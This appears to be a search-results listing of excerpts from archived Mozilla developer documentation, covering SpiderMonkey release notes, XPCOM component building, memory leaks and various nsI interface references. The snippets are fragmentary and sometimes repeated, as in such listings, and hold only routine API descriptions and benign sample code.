newsetobject (bug 1159469) js::setsize (bug 1159469) js::sethas (bug 1159469) js::setdelete (bug 1159469) js::setadd (bug 1159469) js::setclear (bug 1159469) js::setkeys (bug 1159469) js::setvalues (bug 1159469) js...
...1) js_internucstring renamed to js_atomizeandpinucstring (bug 1178581) deleted apis js_getcompartmentstats js_seticumemoryfunctions js_isgcmarkingtracer js_ismarkinggray js_idarraylength js_idarrayget js_destroyidarray js_defaultvalue js_getparent js_setparent js::parsepropertydescriptorobject js_deleteproperty2 js_deletepropertybyid2 js_deleteucproperty2 js_deleteelement2 js_
newfunctionbyid js_bindcallable js_decompilefunctionbody js_getlatin1internedstringchars js_gettwobyteinternedstringchars js_
newdateobjectmsec js_cleardatecaches changed apis js_init has moved from jsapi.h to js/initialization.h js_shutdown has moved from jsapi.h to js/initialization.h js_initreflect is now implicit js_addweakpointercallback is replaced with js_addweakpointerzonegroupca...
SpiderMonkey 52
download full source code from treeherder, by going to the mozilla-esr52 repository and clicking on the first sm(pkg) link you see. that will open a small window in the bottom left with a line like "artifact uploaded:mozjs-52.x.y.tar.bz2". spidermonkey 52 is the javascript engine that shipped in firefox 52. it continues to improve performance over previous spidermonkey releases. ...
...n the bottom left with a line like "artifact uploaded:mozjs-52.x.y.tar.bz2". spidermonkey 52 is the javascript engine that shipped in firefox 52. it continues to improve performance over previous spidermonkey releases. it also contains
new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine
newsgroup. ...
...o contains
new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine
newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. you may wish to make the bugs block bug 837921 (aliased as "sm.embedding"). ...
...atures described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine
newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. you may wish to make the bugs block bug 837921 (aliased as "sm.embedding"). ...
TPS Bookmark Lists
mark description. optional. tags: an array of tags for the bookmark. optional. keyword: the keyword for the bookmark. optional. after: the title of the bookmark item expected to be found after this bookmark; used only in verify and modify actions. before: the title of the bookmark item expected to be found before this bookmark; used only in verify and modify actions. changes: an object containing
new properties to be set for this bookmark when this asset list is used in a modify action. the properties for this object include the uri, title, loadinsidebar, description, tags, keyword properties above, plus two additional properties: location: the full path of the folder that the bookmark should be moved to position: the title of the existing bookmark item, in the current folder, where this boo...
...are: livemark: the livemark name. required. siteuri: the livemark's uri. optional. feeduri: the livemark's feed uri. required. after: the title of the bookmark item expected to be found after this livemark; used only in verify and modify actions. before: the title of the bookmark item expected to be found before this livemark; used only in verify and modify actions. changes: an object containing
new properties to be set for this livemark when this asset list is used in a modify action. the properties for this object include the livemark, siteuri, feeduri properties above, plus two additional properties: location: the full path of the folder that the livemark should be moved to position: the title of the existing bookmark item, in the current folder, where this livemark should be moved to (i...
...tml" } folder objects valid properties are: folder: the folder's name. required. description: the folder's description. optional. after: the title of the bookmark item expected to be found after this folder; used only in verify and modify actions. before: the title of the bookmark item expected to be found before this folder; used only in verify and modify actions. changes: an object containing
new properties to be set for this folder when this asset list is used in a modify action. the properties for this object include the folder, description properties above, plus two additional properties: location: the full path of the folder that this folder should be moved to position: the title of the existing bookmark item, in the current folder, where this folder should be moved to (i.e., this fo...
...elow this folder) example: { folder: "folderb", changes: { location: "menu/foldera", folder: "folder b", description: "folder description" } } separator objects valid properties are: separator: true, always set for separators before: the title of the bookmark item expected to be found before this separator; used only in verify and modify actions. changes: an object containing
new properties to be set for this separator when this asset list is used in a modify action. the properties for this object are: location: the full path of the folder that this separator should be moved to position: the title of the existing bookmark item, in the current folder, where this separator should be moved to (i.e., this separator would be inserted into the bookmark list at the position of ...
Avoiding leaks in JavaScript XPCOM components
pointing to memory that has been returned to the heap (and potentially reused). meeting both requirements at the same time can be tricky. many programming languages guarantee a solution for (2) and handle all the heap management for the programmer. however, this doesn't mean that (1) is also solved. the most common strategies for managing heap allocation are the following: malloc and free (or
new and delete) the simplest strategy for heap allocation is that the programmer makes one function call to request memory from the heap and another one to return it. in c, these are malloc and free. in c++, they're
new and delete. if the programmer forgets to return the memory to the heap, it leaks. if the programmer accesses the memory after returning it to the heap, the program will access whatev...
...se leaks, consider the following example, in which there are two pairs of function objects, and each pair has an instance of the private_data variable: // this function returns an array containing two functions. function function_array() { // once this function is done running, this variable is still // accessible to the functions created here. ...
...maintains a garbage collection root to keep the function from being destroyed, so we have a cycle that prevents both objects from being freed. simply assigning iterator = null before the return is sufficient to fix the leak. ...
... this case (and there's also no need to create a
new function object for the filter each time this code is executed). this same problem can also happen if the function is inside of an object. consider the example of bug 170022 (which also demonstrates a leak via a global variable, fixed later in bug 231266): const observer = { observe: function(subject, topic, data) { if (topic != "open-
new-tab-request" || subject != window) return; delayedopentab(data); } }; const service = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); service.addobserver(observer, "open-
new-tab-request", false); in this example, there is a similar cycle between observe and service. (but since service is a global variable, just fixing t...
How to build an XPCOM component in JavaScript
will expose a single method, which returns the string "hello world!". defining the interface if you want to use your component in other xpcom components, you must define the interfaces that you want exposed. if you want to use your component only from javascript, you can skip to the next section. there are many interfaces already defined in mozilla applications, so you may not need to define a
new one. you can browse existing xpcom interfaces at various locations in the mozilla source code, or using xpcomviewer, a gui for browsing registered interfaces and components. you can download an old version of xpcomviewer that works with firefox 1.5 from mozdev mirrors. if an interface exists that meets your needs, then you do not need to write an idl, or compile a typelib, and may skip to the ne...
...f you don't find a suitable pre-existing interface, then you must define your own. xpcom uses a dialect of idl to define interfaces, called xpidl. here's the xpidl definition for our helloworld component: helloworld.idl #include "nsisupports.idl" [scriptable, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)] interface nsihelloworld : nsisupports { string hello(); }; note that you must generate a
new uuid for each xpcom component that you create. see generating guids for more information. compiling the typelib your interface definition must be compiled into a binary format (xpt) in order to be registered and used within mozilla applications. the compilation can be done using the gecko sdk. you can learn how to get mac, linux, and windows versions of the gecko sdk by reading the article geck...
... compile the typelib. here, {sdk_dir} is the directory in which you unpacked the gecko sdk. {sdk_dir}/bin/xpidl -m typelib -w -v -i {sdk_dir}/idl -e helloworld.xpt helloworld.idl note: on windows you must use forward slashes for the include path. note: (the -i flag is an uppercase i, not a lowercase l.) this will create the typelib file helloworld.xpt in the current working directory. for a
new component in firefox/thunderbird/b2g if you are adding a
new feature to applications in the mozilla-central repository, you can create a makefile listing the idl files and the build system will automatically generate the typelib. a sample makefile.in # this source code form is subject to the terms of the mozilla public # license, v. 2.0. if a copy of the mpl was not distributed with this # file...
...totype = { // properties required for xpcom registration: classdescription: "my hello world javascript xpcom component", classid: components.id("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"), contractid: "@dietrich.ganx4.com/helloworld;1", // [optional] custom factory (an object implementing nsifactory). if not // provided, the default factory is used, which returns // |(
new mycomponent()).queryinterface(iid)| in its createinstance(). _xpcom_factory: { ... }, // [optional] an array of categories to register this component in. _xpcom_categories: [{ // each object in the array specifies the parameters to pass to // nsicategorymanager.addcategoryentry(). 'true' is passed for both // apersist and areplace params. category: "some-category", //...
Component Internals
sed, for example, in the gecko runtime environment (gre). xpcom startup the six basic steps to xpcom startup are as follows: application starts xpcom. xpcom sends a notification that it's beginning startup. xpcom finds and processes the component manifest (see component manifests below). xpcom finds and processes the type library manifest (see type library manifests below). if there are
new components, xpcom registers them: xpcom calls autoregistration start. xpcom registers
new components. xpcom calls autoregistration end. complete xpcom startup: xpcom notifies that it's begun. component manifests and type library manifests are described in the following section, xpcom registry manifests. xpcom registry manifests xpcom uses special files called manifests to t...
...for example, could provide a "registration-less" component directory whose components are automatically registered at startup and unregistered at shutdown. component discovery does not currently happen automatically in non-debug builds of gecko, however. when the registration process begins, xpcom broadcasts to all registered observers a notification that says xpcom has begun the registration of
new components. after all components are registered, another notification is fired saying that xpcom is done with the registration step. the nsiobserver interface that handles this notification is discussed in starting weblock. once registration is complete and the notifications have fired, xpcom is ready to be used by the application. if xpcom registered your component, then it will be available to...
...hapter describes registration in more detail. autoregistration the term autoregistration is sometimes used synonymously with registration in xpcom. in the what is xpcom registration? note, we describe the three ways you can register components with xpcom. sometimes, applications use the nsicomponentregistrar interface and create their own code for watching a particular directory and registering
new components that are added there, which is what's often referred to as autoregistration. you should always know what the installation and registration requirements are for the applications that will be using your component. the shutdown process when the application is ready to shutdown xpcom, it calls ns_shutdownxpcom. when that method is called, the following sequence of events occurs: xpcom...
...m components have at least three layers. from the innermost and moving outward these layers include: the core xpcom object the factory code the module code the core xpcom object is the object that will implement the functionality you need. for example, this is the object that may start a network download and implement interfaces that will listen to the progress. or the object may provide a
new content type handler. whatever it does, this object is at the core of the xpcom component, and the other layers are supporting it, plugging it into the xpcom system. a single library may have many of these core objects. one layer above the core object is the factory code. the factory object provides a basic abstraction of the core xpcom object. an overview of xpcom discussed the factory design p...
Using XPCOM Utilities to Make Things Easier
the following general categories. generic xpcom module macros the work in the previous chapter was useful in setting up the generic component code. but there are only a few places in that code that are unique to the weblock component, and it was a lot of typing. to write a different component library, you could copy the listing at the end of the chapter, change very little, and paste it into a
new project. to avoid these kinds of redundancies, to regulate the way generic code is written, and to save typing, xpcom providesgeneric module macros that expand into the module code you've already seen. since these macros expand into "generic" implementations, they may not offer as much flexibility as you have when you are writing your own implementation. but they have the advantage of allowing m...
...racts the iid from the generated header of the interface. when an interface is written in xpidl, the headers include static declarations of their iids. on any interface that is generated by xpidl, you can call ns_get_iid() to obtain the iid which is associated with that interface. // returns a reference to a shared nsiid object\ static const nsiid iid1 = ns_get_iid(nsisupports); // constructs a
new nsiid object static const nsiid iid2 = ns_isupports_iid; in order to use ns_impl_isupportsn, you must be sure that a member variable of type nsrefcnt is defined and named mrefcnt in your class. but why even bother when you can use another macro? declaration macros ns_decl_nsisupports declares addref, release, and queryinterface for you, and it also defines the mrefcnt required by ns_impl_isup...
...c module code from weblock1.cpp using the macros described in this chapter: weblock2.cpp #include "nsigenericfactory.h" #include "nsisupportsutils.h" #define sample_cid \ { 0x777f7150, 0x4a2b, 0x4301, \ { 0xad, 0x10, 0x5e, 0xab, 0x25, 0xb3, 0x22, 0xaa}} class sample: public nsisupports { public: sample(); virtual ~sample(); ns_decl_isupports }; sample::sample() { // note: in
newer versions of gecko (1.3 or later) // you don't have to do this: ns_init_isupports(); } sample::~sample() { } ns_impl_isupports1(sample, nsisupports); ns_generic_factory_constructor(sample); static const nsmodulecomponentinfo components[] = { { "pretty class name", sample_cid, "@company.com/sample", sampleconstructor } }; ns_impl_nsgetmodule(nssamplemodule, components) ...
...to a getter, you must do something special, however: you must wrap the variable with the function getter_addrefs, as in the example above. you cannot call the nsisupports addref or release methods on a nscomptr. but this restriction is desirable, since the nscomptr is handling reference counting for you. if for some reason you need to adjust the reference count, you must assign the nscomptr to a
new variable and addref that. this is a common pattern when you have a local nscomptr in a function and you must pass back a reference to it, as in the following: someclass::get(nsisupports** aresult) { if (!aresult) return ns_error_null_pointer; nscomptr<nsisupports> value; object->method(getter_addrefs(value)); *aresult = value.get(); ns_if_addref(*aresult); return ns_ok; } the...
Components.utils.Sandbox
the created sandbox is simply an empty javascript object marked as having been created by the restricted privilege principal. you can then use it with evalinsandbox() to make it the global scope object for the specified script. ...
... the created sandbox is simply an empty javascript object marked as having been created by the restricted privilege principal. you can then use it with evalinsandbox() to make it the global scope object for the specified script. ...
... the created sandbox is simply an empty javascript object marked as having been created by the restricted privilege principal. you can then use it with evalinsandbox() to make it the global scope object for the specified script. ...
...ncipal you can create a null principal using code like: cc["@mozilla.org/nullprincipal;1"].createinstance(ci.nsiprincipal); from firefox 37 onwards, you can also specify the null principal by simply passing null as the principal argument. options the constructor accepts an optional parameter. this parameter is an object with the following optional properties: freshzone if true creates a
new gc region separate from both the calling context's and the sandbox prototype's region. addons creating sandboxes whose expected lifetime is tied to that of a content window object will want to use samezoneas instead. samezoneas a javascript object in whose garbage collection region the sandbox should be created in. this helps to improve memory usage by allowing sandboxes to be discarded when...
Core XPCOM functions
rymanager function returns a reference to the xpcom memory manager.ns_getservicemanagerthe ns_getservicemanager function returns a reference to the xpcom service manager.ns_initxpcom2the ns_initxpcom2 function initiates use of xpcom in the calling process.ns_initxpcom3the ns_initxpcom3 function initiates use of xpcom in the calling process with support for statically defined xpcom modules. ...
...returns a reference to the xpcom memory manager.ns_getservicemanagerthe ns_getservicemanager function returns a reference to the xpcom service manager.ns_initxpcom2the ns_initxpcom2 function initiates use of xpcom in the calling process.ns_initxpcom3the ns_initxpcom3 function initiates use of xpcom in the calling process with support for statically defined xpcom modules. ...
... xpcom service manager.ns_initxpcom2the ns_initxpcom2 function initiates use of xpcom in the calling process.ns_initxpcom3the ns_initxpcom3 function initiates use of xpcom in the calling process with support for statically defined xpcom modules. ...
..._initxpcom2the ns_initxpcom2 function initiates use of xpcom in the calling process.ns_initxpcom3the ns_initxpcom3 function initiates use of xpcom in the calling process with support for statically defined xpcom modules. ...
mozIRegistry
browser. the information below is intended to tell you everything you need to know about how to do that. summary clients will rely on nsrepository to create instances of a given class. clients requiring dynamic "binding" of clsids will be required to use some higher-level services (tbd) to figure out the clsids they should use. the intent is that such services themselves be built on top of the
new moziregistry interface. we are proposing a
new "moziregistry" xpcom interface that provides the same level of function as is currently provided by the "netscape registry" implemented in libreg. nsrepository will be modified to use this interface, thereby enabling alternative registry implementations to be substituted at run/link time. there will be two registry interface implementations: one base...
...fancier rdf-based one. open issues we have identified two open issues, neither of which appear to be so hard that it we won't be able to solve them in a timely fashion: if and when we remove what is currently a static binding of clsids, there will be the risk that required clsids won't be present. a corollary is that the build/install process will require updates to user "registry" to enable
new class implementations to be accessible. our current build/install process doesn't quite step up to these problems as of yet. there are some bootstrapping issues related to using the service manager to access the moziregistry interface. currently, nsiservicemanager requires a clsid to access a service which hardcodes the implementation of that service. this issue needs to be resolved in order to ...
...be divided into two categories, according to the basic service they provide: identifying the implementers of a given interface. figuring out an appropriate implementation given some arbitrary desired properties. nsrepository this is basically the same as is provided today (see mozilla/xpcom/public/nsrepository.h). the primary change to this component is that we will modify it to utilize the
new moziregistry interface versus the nsreg.h functions it calls today. in addition, it likely will have a couple of minor extensions: support for specifying the .reg file name on initialize(). i think this might make it a little more flexible, thereby making xpcom more general-purpose. adding support so that the underlying moziregistry implementation can be tailored by the initializer (client a...
...her words, they will implement, as rick suggested last week, _protocol_ on top of the registry and repository. i think it might be useful to refactor the nsrepository code so that it is structured the same way as the service manager. one could then make the nsrepository itself a service and permit full (?!) de-coupling of xpcom modules from the xpcom implementation. moziregistry this is the
new interface that will surface essentially the same function as is currently provided by libreg (aka "netscape registry") as declared in mozilla/modules/libreg/include/nsreg.h. clients will obtain this interface via the service manager (see mozilla/xpcom/public/nsiservicemanager.h). mozregistry this is the simplistic implementation of the moziregistry interface. it is built as a simple c wrapper f...
mozIStorageService
taken, attempts will be made to ensure that it is unique. the actual backup file is returned, and the resulting filename can be obtained from that. nsifile backupdatabasefile( in nsifile adbfile, in astring abackupfilename, in nsifile abackupparentdirectory optional ); parameters adbfile the database file to back up. abackupfilename the filename to give to the
new backup file. abackupparentdirectory optional the directory to put the backup into. if this is not specified, the backup is placed in the same directory as the original file. return value an nsifile object representing the
newly-created backup file. opendatabase() opens a database connection to the specified file. the specified file is created if it does not already exist. if this m...
...se file to open. return value a mozistorageconnection representing the connection to the opened database file. exceptions thrown ns_error_failure an error occurred attempting to open the database. ns_error_file_corrupted the database file is corrupted, or contains virtual tables and is not compatible with this method. ns_error_out_of_memory allocating a
new storage object failed. openspecialdatabase() opens a connection to a named special database storage that identifies the type of storage requested. note: you should only access the profile database from the main thread since other callers may also be using it. mozistorageconnection openspecialdatabase( in string astoragekey ); parameters astoragekey a string key identifying the ...
... database storage that identifies the type of storage requested. note: you should only access the profile database from the main thread since other callers may also be using it. mozistorageconnection openspecialdatabase( in string astoragekey ); parameters astoragekey a string key identifying the type of storage requested. valid values are "profile" and "memory". return value a
new mozistorageconnection providing access to the requested database. exceptions thrown ns_error_invalid_arg if astoragekey is invalid. openunshareddatabase() opens a database connection to the specified file without using a shared cache. if this method throws ns_error_file_corrupted, it's recommended that you call mozistorageservice.backupdatabasefile() to back up the database so tha...
...se file to open. return value a mozistorageconnection representing the connection to the opened database file. exceptions thrown ns_error_failure an error occurred attempting to open the database. ns_error_file_corrupted the database file is corrupted, or contains virtual tables and is not compatible with this method. ns_error_out_of_memory allocating a
new storage object failed. see also storage mozistorageconnection ...
nsICache
add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports constants constant value description access_none 0 access granted - no descriptor is provided. access_read 1 access requested - i only want to read, if there isn't an entry just fail. access granted - you can read from this descriptor. access_write 2 access requested - i have something
new i want to write into the cache, make me a
new entry and doom the old one, if any. access granted - you must write to this descriptor because the cache entry was just created for you. access_read_write 3 access requested - i want to read, but i'm willing to update an existing entry if necessary, or create a
new one if none exists. access granted - you can read the descriptor to determine if it'...
...e.createsession() method. stream_based 1 all entries for a cache session are stored as streams of data or as objects. this constant specify that cache session is a stream based entry when calling nsicacheservice.createsession() method. non_blocking 0 the synchronous opencacheentry() may be blocking or non-blocking. if a cache entry is waiting to be validated by another cache descriptor (so no
new cache descriptors for that key can be created), opencacheentry() will return ns_error_cache_wait_for_validation in non-blocking mode. if the cache entry is validated, then a descriptor for that entry will be created and returned. if the cache entry was doomed, then a descriptor will be created for a
new cache entry for the key. blocking 1 the synchronous opencacheentry() may be blocking or non-...
... note: if you think that you might need to modify cached data or meta data, then you must open a cache entry requesting write access. only one cache entry descriptor, per cache entry, will be granted write access. ...
... ...
nsIDBFolderInfo
nsidbfolderinfo - careful, pulled from the wrong (cvs) repo! mail
news/db/msgdb/public/nsidbfolderinfo.idlscriptable ??? add brief description of interface ??? inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: ?????????????????????????????????????. to create an instance, use: implemented by: ????????????????????????????????????? as a service: var dbfolderinfo = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsidbfolderinfo); method overview long andflags(in long flags); void changeexpungedbytes(in long delta); void changenummessages(in long delta); void changenumunreadmessages(...
... void setcharactersetoverride(in boolean charactersetoverride); obsolete since gecko 1.8 void setcharptrproperty(in string apropertyname, in string apropertyvalue); void sethighwater(in nsmsgkey highwater, in boolean force); void setlocale(in nsstring locale); native code only! obsolete since gecko 1.8 void setmailboxname(in nsstring
newboxname); native code only! obsolete since gecko 1.8 void setproperty(in string propertyname, in astring propertystr); void setuint32property(in string propertyname, in unsigned long propertyvalue); attributes attribute type description charactersetoverride boolean expiredmark nsm...
...le missing description exceptions thrown missing exception missing description native code only!setmailboxname obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. ...
...eptions thrown missing exception missing description native code only!setmailboxname obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. ...
nsIDOMElement
read only. methods getattribute() get an attribute value. domstring getattribute( in domstring name ); parameters name attribute name return value a...
...read only. methods getattribute() get an attribute value. domstring getattribute( in domstring name ); parameters name attribute name return value a domstring containing the attribute value. getattribute...
... return value a nsidomattr corresponding to the removed attribute node. removeattributens() remove an attribute. void removeattributens( in domstring namespaceuri, in domstring localname ); parameters namespaceuri namespace uri localname tag name setattribute() set an attribute. void setattribute( in domstring name, in domstring value ); parameters name attribute name value attribute
new value setattributenode() set an attribute, giving the attribute node. nsidomattr setattributenode( in nsidomattr
newattr ); parameters
newattr attribute node. return value a nsidomattr corresponding to the attribute node added. setattributenodens() set an attribute, giving the attribute node. nsidomattr setattributenodens( in nsidomattr
newattr ); parameters
newattr attribute node. ret...
...bute node. nsidomattr setattributenodens( in nsidomattr
newattr ); parameters
newattr attribute node. return value a nsidomattr corresponding to the attribute node added. setattributens() set an attribute. ...
nsIDOMOfflineResourceList
scription uncached 0 the object isn't associated with an application cache. idle 1 the application cache is not in the process of being updated. checking 2 the application cache manifest is being fetched and checked for updates. downloading 3 resources are being downloaded to be added to the cache. updateready 4 there is a
new version of the application cache available. obsolete 5 the application cache group is now obsolete. methods mozadd() adds an item to the dynamically managed entries. the resource will be fetched and added to the application cache. void mozadd( in domstring uri ); parameters uri the uri of the resource to add to the list. mozhasitem returns a boolean value in...
... returned. return value an domstring containing the uri of the specified resource. mozremove() removes an item from the list of dynamically managed entries. if this was the last reference to the given uri in the application cache, the cache entry is removed. void mozremove( in domstring uri ); parameters uri the uri of the item to remove from the list. ...
...ining the uri of the specified resource. mozremove() removes an item from the list of dynamically managed entries. if this was the last reference to the given uri in the application cache, the cache entry is removed. void mozremove( in domstring uri ); parameters uri the uri of the item to remove from the list. swapcache() swaps in the
newest version of the application cache. ...
... void update(); parameters none. ...
nsIDOMParser
when you create a domparser from a privileged script, you can pass parameters to the constructor, more on that below. ...
...ow, but if you work with domparser from privileged code, you can override the defaults by providing arguments to the domparser constructor or calling parser.init(). usually you don't need to do that. if you come across a situation when these matter, feel free to ask questions in mozilla.dev.tech.dom and update this documentation to mention these cases. when a domparser is instantiated by calling
new domparser(), it inherits the calling code's principal (except that for chrome callers the principal is set to the null principal) and the documenturi and baseuri of the window the constructor came from. if the caller has universalxpconnect privileges, it can pass parameters to
new domparser(). if fewer than three parameters are passed, the remaining parameters will default to null. the first par...
...le in parsing errors, in particular. supposedly, if you want to create objects that some particular set of unprivileged code will be able to access (see discussion in bug 565480). parsing a string once you've created a domparser object, you can use its parsefromstring method to parse xml or html as described in the web platform documentation. ...
...parser(); var doc = parser.parsefromstring(astr, "application/xml"); outside of a window (e.g., a js xpcom component, a js module, or an xpcshell test): var parser = components.classes["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); var doc = parser.parsefromstring(astr, "application/xml"); using components.constructor(): const domparser =
new components.constructor("@mozilla.org/xmlextras/domparser;1", "nsidomparser"); var parser =
new domparser(); parser.init(principal, documenturi, baseuri); var doc = parser.parsefromstring(astr, "application/xml"); ...
nsIDownloadProgressListener
ethods ondownloadstatechange() called when the status of a particular download changes. void ondownloadstatechange( in short astate, in nsidownload adownload ); parameters astate the previous state of the download. see nsidownloadmanager.constants for a list of possible values. adownload the nsidownload object representing the file whose download status has changed. you can get the
new state of the download from this object. onlocationchange() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) void onlocationchange( in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri alocation, in nsidownload adownload ); parameters awebprogress the nsiwebprogress instance used by the download manager to monitor do...
...is function gets called to notify you of that transition. void onsecuritychange( in nsiwebprogress awebprogress, in nsirequest arequest, in unsigned long astate, in nsidownload adownload ); parameters awebprogress the nsiwebprogress instance used by the download manager to monitor downloads. arequest the nsichannel that changed state. this parameter will not be null. astate the
new state of the download. see nsidownloadmanager.constants for a list of possible values. adownload the download whose security level is changing. onstatechange() called when the state of a particular download changes. void onstatechange( in nsiwebprogress awebprogress, in nsirequest arequest, in unsigned long astateflags, in nsresult astatus, in nsidownload adownload ); parameters...
... void onstatechange( in nsiwebprogress awebprogress, in nsirequest arequest, in unsigned long astateflags, in nsresult astatus, in nsidownload adownload ); parameters awebprogress the nsiwebprogress instance used by the download manager to monitor downloads. arequest the nsichannel that changed state. this parameter will not be null. astateflags flags indicating the download's
new state. this value is a combination of one of the nsiwebprogresslistener.state_transition_flags. astatus the
new state information for the download. see nsiwebprogresslistener.onstatechange() for details. this can also be one of the nsidownloadmanager.constants. adownload the download whose state changed. onstatuschange() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird...
...ance provided to the download manager. void onstatuschange( in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage, in nsidownload adownload ); parameters awebprogress the nsiwebprogress instance used by the download manager to monitor downloads. arequest the nsirequest that changed state. this parameter will not be null. astatus the
new state information for the download. see nsiwebprogresslistener.onstatechange() for details. amessage a user-readable status message intended to be displayed visibly on the screen. adownload the download whose status changed. example var dm = components.classes["@mozilla.org/download-manager;1"] .getservice(components.interfaces.nsidownloadmanager); dm.addlistener({ onsecuritych...
nsIFrameScriptLoader
otherwise it will only be loaded into frames that exist at the time of the call. if this function is called on a chromemessagesender: it will load the frame script only into this chromemessagesender's frame aallowdelayedload should always be true. it's possible that the frame for this chromemessagesender is not yet available at the time of the...
...t yet available at the time of the loadframescript() call, and if you pass false in this situation, your process script won't be loaded. for example: let windowmm = window.messagemanager; windowmm.loadframescript('data:,dump("foo\n");', true); this will load a separate instance of the frame script into every tab open in the window associated with this window message manager. as the user opens
new tabs in this window, copies of the script will be loaded into these
new tabs, as well. frame scripts are essentially per-tab, so they don't get reloaded when the user navigates. if you want a frame script to do something whenever a
new document is loaded, you can listen for the document-element-inserted notification. parameters name type description aurl string ...
... document is loaded, you can listen for the document-element-inserted notification. parameters name type description aurl string url for the script to load. aurl must be the absolute url. data: urls are also supported. for example data:,dump("foo\n"); aallowdelayedload boolean if true, this flag means that the frame script will be loaded into any
new frames opened after the loadframescript() call, until removedelayedframescript() is called for that script. aruninglobalscope boolean optional, defaults to false. by default, frame scripts each have their own scope, so they can declare global variables without causing conflicts with any other frame scripts. if present and set to true, this flag switches off that behavior,...
...esent and set to true, this flag switches off that behavior, meaning that the script's scope is shared with any other frame scripts in the same frame that have also set the flag. removedelayedframescript() removes aurl from the list of scripts which support delayed load. this cancels the effect of the aallowdelayedload flag, meaning that the loader will no longer load the script into
new frames. if you used aallowdelayedload, you should call this as part of your cleanup (for example, when your add-on is disabled or uninstalled). parameters name type description aurl string url for the script to remove. getdelayedframescripts() returns all delayed scripts that will be loaded once a (remote) frame becomes available. the return value is a list...
nsILoginManagerStorage
rea...
...fo alogin); void searchlogins(out unsigned long count, in nsipropertybag matchdata, [retval, array, size_is(count)] out nsilogininfo logins); void setloginsavingenabled(in astring ahost, in boolean isenabled); attributes attribute type description uibusy boolean true when a master password prompt is being shown. read only. methods addlogin() called by the login manager to store a
new login. gecko 1.9.1 note default values for the nsiloginmetainfo properties are created if the specified login doesn't explicitly specify them. void addlogin( in nsilogininfo alogin ); parameters alogin the login to add to the login storage. countlogins() implement this method to return the number of logins matching the specified criteria. this method is called, for example, to check to...
...primarily used for unit tests and during profile migration. void initwithfile( in nsifile ainputfile, in nsifile aoutputfile ); parameters ainputfile the file from which to read stored logins. aoutputfile the file to which to write stored logins, if not null. if this is null, use the default output file. modifylogin() implement this method to modify an existing login in the login store. ...
...utfile ); parameters ainputfile the file from which to read stored logins. aoutputfile the file to which to write stored logins, if not null. if this is null, use the default output file. modifylogin() implement this method to modify an existing login in the login store. if
newlogindata is specified as an nsilogininfo object, all of the old login's properties are changed to the values from the
newlogindata parameter. if
newlogindata is a nsipropertybag, only the properties specified in the nsipropertybag are changed in oldlogin and its corresponding nsiloginmetainfo. void modifylogin( in nsilogininfo oldlogin, in nsisupports
newlogindata ); parameters oldlogin the login to be modified.
newlogindata the login information to replace the oldlogin with. this may be specified as either an...
nsIMsgAccountManagerExtension
a panel consists of a xul file with a page element as root element and the property file containing the localized name. note: the account manager relies on a very strong naming scheme to load and unload a panel. ...
...a panel consists of a xul file with a page element as root element and the property file containing the localized name. note: the account manager relies on a very strong naming scheme to load and unload a panel. ...
...ccount manager extension with a "name" attribute of "devmo" and the "chromepackagename" attribute set to "extension@example.org" means, that the account manager expects to find a xul file in "chrome://extension@example.org/content/am-devmo.xul" and a property file in "chrome://extension@example.org/locale/am-devmo.properties" containing a property named "prefpanel-devmo". you have to register any
new account manager extensions via the the category manager at start up. simply add a
new entry with the contact id of the component to the "mail
news-accountmanager-extensions" category. //github.com/realityripple/uxp/blob/master/mail
news/base/public/nsimsgaccountmanager.idlscriptable please add a summary to this article. last changed in gecko ??? inherits from: nsisupports method overview...
... showpanel(in nsimsgincomingserver server); attributes attribute type description name acstring name of the account manager extension. it has to be unique and defines the file name of the property file and the xul page as well as the name of the localized string contained in the property file. this attribute is readonly! chromepackagename acstring chrome package, where the files for the
new panel are located. this is usually guid of the id of the addons which adds the
new panel. this attribute is readonly! methods showpanel() before displaying a panel in the account manager this method is triggered. boolean showpanel( in nsimsgincomingserver server ); parameters server the account for which the panel should be displayed. return value a true indicates, that the account ma...
nsIMsgCompFields
(bug 68784) messageid char * needtocheckcharset prbool indicates whether we need to check if the current documentcharset can represent all the characters in the message body. it should be initialized to true and set to false when 'send anyway' is selected by a user. (bug 249...
...d 23 indicates whether something is filled in in the to, cc, or bcc attribute. (bug 68784) messageid char * needtocheckcharset prbool indicates whether we need to check if the current documentcharset can represent all the characters in the message body. it should be initialized to true and set to false when 'send anyway' is selected by a user. ...
...filled in in the to, cc, or bcc attribute. (bug 68784) messageid char * needtocheckcharset prbool indicates whether we need to check if the current documentcharset can represent all the characters in the message body. it should be initialized to true and set to false when 'send anyway' is selected by a user. ...
...ttribute. (bug 68784) messageid char * needtocheckcharset prbool indicates whether we need to check if the current documentcharset can represent all the characters in the message body. it should be initialized to true and set to false when 'send anyway' is selected by a user. ...
nsIMsgHeaderParser
add brief description of interface ??? ...
...add brief description of interface ??? ...
...if any of the addresses doesn't have a mailbo...
...fullnames, [retval] out unsigned long count ); parameters aline the header line to parse. aemailaddresses missing description anames missing description afullnames missing description count missing description exceptions thrown missing exception missing description native code only!reformatheaderaddresses given a string which contains a list of header addresses, returns a
new string with the same data, but inserts missing commas, parses and reformats it, and wraps long lines with
